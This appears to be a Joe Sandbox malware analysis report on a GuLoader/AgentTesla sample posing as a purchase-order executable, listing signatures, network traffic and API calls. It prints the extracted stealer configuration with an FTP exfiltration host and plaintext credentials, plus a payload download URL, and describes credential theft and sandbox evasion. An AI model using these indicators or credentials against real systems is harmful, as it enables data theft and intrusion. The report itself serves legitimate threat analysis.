Edit tour

Windows Analysis Report
PO 0309494059506060609696007.exe

Overview

General Information

Sample name:	PO 0309494059506060609696007.exe
Analysis ID:	1577289
MD5:	0be2d87edbe429042bf5eb8791a40bfd
SHA1:	56d20ae6ba8bcbf137164efe5ebb846b5dabfb3e
SHA256:	447a4c0228f0f8c81f9159366e8cdda2af4a5603249f8bf6ceb6fe0d40f32b9a
Tags:	AgentTeslaexeGuLoaderuser-abuse_ch
Infos:

Detection

AgentTesla, GuLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected AgentTesla

Yara detected GuLoader

AI detected suspicious sample

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Switches to a custom stack to bypass stack traces

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

PO 0309494059506060609696007.exe (PID: 6428 cmdline: "C:\Users\user\Desktop\PO 0309494059506060609696007.exe" MD5: 0BE2D87EDBE429042BF5EB8791A40BFD)

PO 0309494059506060609696007.exe (PID: 2128 cmdline: "C:\Users\user\Desktop\PO 0309494059506060609696007.exe" MD5: 0BE2D87EDBE429042BF5EB8791A40BFD)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://0xmrmagnezi.github.io/malware%20analysis/AgentTesla/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "FTP", "Host": "ftp://ftp.concaribe.com", "Username": "testi@concaribe.com", "Password": "ro}UWgz#!38E"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000004.00000002.2985734284.00000000332AC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000004.00000002.2985734284.0000000033281000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.2985734284.0000000033281000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.2279273264.0000000004476000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: PO 0309494059506060609696007.exe PID: 2128	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: PO 0309494059506060609696007.exe PID: 2128	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 1 entries

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T11:07:28.264137+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	49752	84.38.133.48	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: PO 0309494059506060609696007.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://84.38.133.48/LSOzHkHtJlArws124.bin	Avira URL Cloud: Label: malware
Source: http://84.38.133.48/LSOzHkHtJlArws124.bin.#	Avira URL Cloud: Label: malware
Source: http://ftp.concaribe.com	Avira URL Cloud: Label: malware
Source: http://concaribe.com	Avira URL Cloud: Label: malware

Found malware configuration

Source: PO 0309494059506060609696007.exe.6428.0.memstrmin

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "FTP", "Host": "ftp://ftp.concaribe.com", "Username": "testi@concaribe.com", "Password": "ro}UWgz#!38E"}

Multi AV Scanner detection for submitted file

Source: PO 0309494059506060609696007.exe

Virustotal: Detection: 9%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: PO 0309494059506060609696007.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 104.26.12.205:443 -> 192.168.2.4:49759 version: TLS 1.2

Source: PO 0309494059506060609696007.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Code function: 0_2_00402868 FindFirstFileW,	0_2_00402868
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Code function: 0_2_004059CC GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_004059CC
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Code function: 0_2_004065FD FindFirstFileW,FindClose,	0_2_004065FD
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Code function: 4_2_00402868 FindFirstFileW,	4_2_00402868
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Code function: 4_2_004059CC GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	4_2_004059CC
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Code function: 4_2_004065FD FindFirstFileW,FindClose,	4_2_004065FD

Source: Joe Sandbox View	IP Address: 104.26.12.205 104.26.12.205
Source: Joe Sandbox View	IP Address: 104.26.12.205 104.26.12.205
Source: Joe Sandbox View	IP Address: 192.185.13.234 192.185.13.234

Source: Joe Sandbox View

ASN Name: UNIFIEDLAYER-AS-1US UNIFIEDLAYER-AS-1US

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Source: Network traffic

Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49752 -> 84.38.133.48:80

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /LSOzHkHtJlArws124.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: 84.38.133.48Cache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.133.48
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.133.48
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.133.48
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.133.48
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.133.48
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.133.48
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.133.48
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.133.48
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.133.48
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.133.48
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.133.48
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.133.48
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.133.48
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.133.48
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.133.48
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.133.48
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.133.48
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.133.48
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.133.48
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.133.48
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.133.48
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.133.48
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.133.48
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.133.48
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.133.48
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.133.48
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.133.48
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.133.48
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.133.48
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.133.48
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.133.48
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.133.48
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.133.48
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.133.48
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.133.48
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.133.48
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.133.48
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.133.48
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.133.48
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.133.48
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.133.48
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.133.48
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.133.48
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.133.48
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.133.48
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.133.48
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.133.48
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.133.48
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.133.48
Source: unknown	TCP traffic detected without corresponding DNS query: 84.38.133.48

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /LSOzHkHtJlArws124.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: 84.38.133.48Cache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: ftp.concaribe.com

Source: PO 0309494059506060609696007.exe, 00000004.00000002.2965947526.0000000002AD8000.00000004.00000020.00020000.00000000.sdmp, PO 0309494059506060609696007.exe, 00000004.00000002.2985361297.0000000032360000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://84.38.133.48/LSOzHkHtJlArws124.bin
Source: PO 0309494059506060609696007.exe, 00000004.00000002.2965947526.0000000002AD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://84.38.133.48/LSOzHkHtJlArws124.bin.#
Source: PO 0309494059506060609696007.exe, 00000004.00000002.2985734284.00000000332AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://concaribe.com
Source: PO 0309494059506060609696007.exe, 00000004.00000002.2985734284.00000000332AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ftp.concaribe.com
Source: PO 0309494059506060609696007.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: PO 0309494059506060609696007.exe, 00000004.00000002.2985734284.0000000033231000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: PO 0309494059506060609696007.exe, 00000004.00000002.2985734284.0000000033231000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org
Source: PO 0309494059506060609696007.exe, 00000004.00000002.2985734284.0000000033231000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/
Source: PO 0309494059506060609696007.exe, 00000004.00000002.2985734284.0000000033231000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/t

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443

Source: unknown

HTTPS traffic detected: 104.26.12.205:443 -> 192.168.2.4:49759 version: TLS 1.2

Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe

Code function: 0_2_00405461 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_00405461

Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Code function: 0_2_0040338F EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_0040338F
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Code function: 4_2_0040338F EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		4_2_0040338F

Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe

File created: C:\Windows\resources\0809

Jump to behavior

Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Code function: 0_2_00406B15	0_2_00406B15
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Code function: 0_2_004072EC	0_2_004072EC
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Code function: 0_2_00404C9E	0_2_00404C9E
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Code function: 0_2_6E421B5F	0_2_6E421B5F
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Code function: 4_2_00406B15	4_2_00406B15
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Code function: 4_2_004072EC	4_2_004072EC
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Code function: 4_2_00404C9E	4_2_00404C9E
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Code function: 4_2_0015A220	4_2_0015A220
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Code function: 4_2_0015E360	4_2_0015E360
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Code function: 4_2_0015A590	4_2_0015A590
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Code function: 4_2_00154A58	4_2_00154A58
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Code function: 4_2_0015AAAC	4_2_0015AAAC
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Code function: 4_2_00153E40	4_2_00153E40
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Code function: 4_2_00154188	4_2_00154188
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Code function: 4_2_362592C8	4_2_362592C8
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Code function: 4_2_3625BB90	4_2_3625BB90
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Code function: 4_2_3625A7DC	4_2_3625A7DC
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Code function: 4_2_362656A0	4_2_362656A0
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Code function: 4_2_362666C0	4_2_362666C0
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Code function: 4_2_3626C240	4_2_3626C240
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Code function: 4_2_3626B2F0	4_2_3626B2F0
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Code function: 4_2_36263158	4_2_36263158
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Code function: 4_2_36267760	4_2_36267760
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Code function: 4_2_3626E468	4_2_3626E468
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Code function: 4_2_36265DB7	4_2_36265DB7
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Code function: 4_2_3626CAD0	4_2_3626CAD0
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Code function: 4_2_36262370	4_2_36262370
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Code function: 4_2_36260040	4_2_36260040
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Code function: 4_2_36632C51	4_2_36632C51
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Code function: 4_2_36260012	4_2_36260012

Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe

Code function: String function: 00402C41 appears 51 times

Source: PO 0309494059506060609696007.exe

Static PE information: invalid certificate

Source: PO 0309494059506060609696007.exe, 00000000.00000000.1708434410.0000000000473000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameteth.exej% vs PO 0309494059506060609696007.exe
Source: PO 0309494059506060609696007.exe, 00000004.00000002.2985643888.0000000032F49000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs PO 0309494059506060609696007.exe
Source: PO 0309494059506060609696007.exe, 00000004.00000000.2276915706.0000000000473000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameteth.exej% vs PO 0309494059506060609696007.exe
Source: PO 0309494059506060609696007.exe, 00000004.00000002.2965947526.0000000002B13000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs PO 0309494059506060609696007.exe
Source: PO 0309494059506060609696007.exe	Binary or memory string: OriginalFilenameteth.exej% vs PO 0309494059506060609696007.exe

Source: PO 0309494059506060609696007.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/10@2/3

Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Code function: 0_2_0040338F EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_0040338F
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Code function: 4_2_0040338F EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		4_2_0040338F

Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe

Code function: 0_2_00404722 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_00404722

Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe

Code function: 0_2_00402104 CoCreateInstance,

0_2_00402104

Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe

File created: C:\Users\user\AppData\Local\sillinesses

Jump to behavior

Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe

File created: C:\Users\user\AppData\Local\Temp\nsi11AE.tmp

Jump to behavior

Source: PO 0309494059506060609696007.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: PO 0309494059506060609696007.exe

Virustotal: Detection: 9%

Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe

File read: C:\Users\user\Desktop\PO 0309494059506060609696007.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\PO 0309494059506060609696007.exe "C:\Users\user\Desktop\PO 0309494059506060609696007.exe"
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process created: C:\Users\user\Desktop\PO 0309494059506060609696007.exe "C:\Users\user\Desktop\PO 0309494059506060609696007.exe"
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Process created: C:\Users\user\Desktop\PO 0309494059506060609696007.exe "C:\Users\user\Desktop\PO 0309494059506060609696007.exe"	Jump to behavior

Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Section loaded: netutils.dll	Jump to behavior
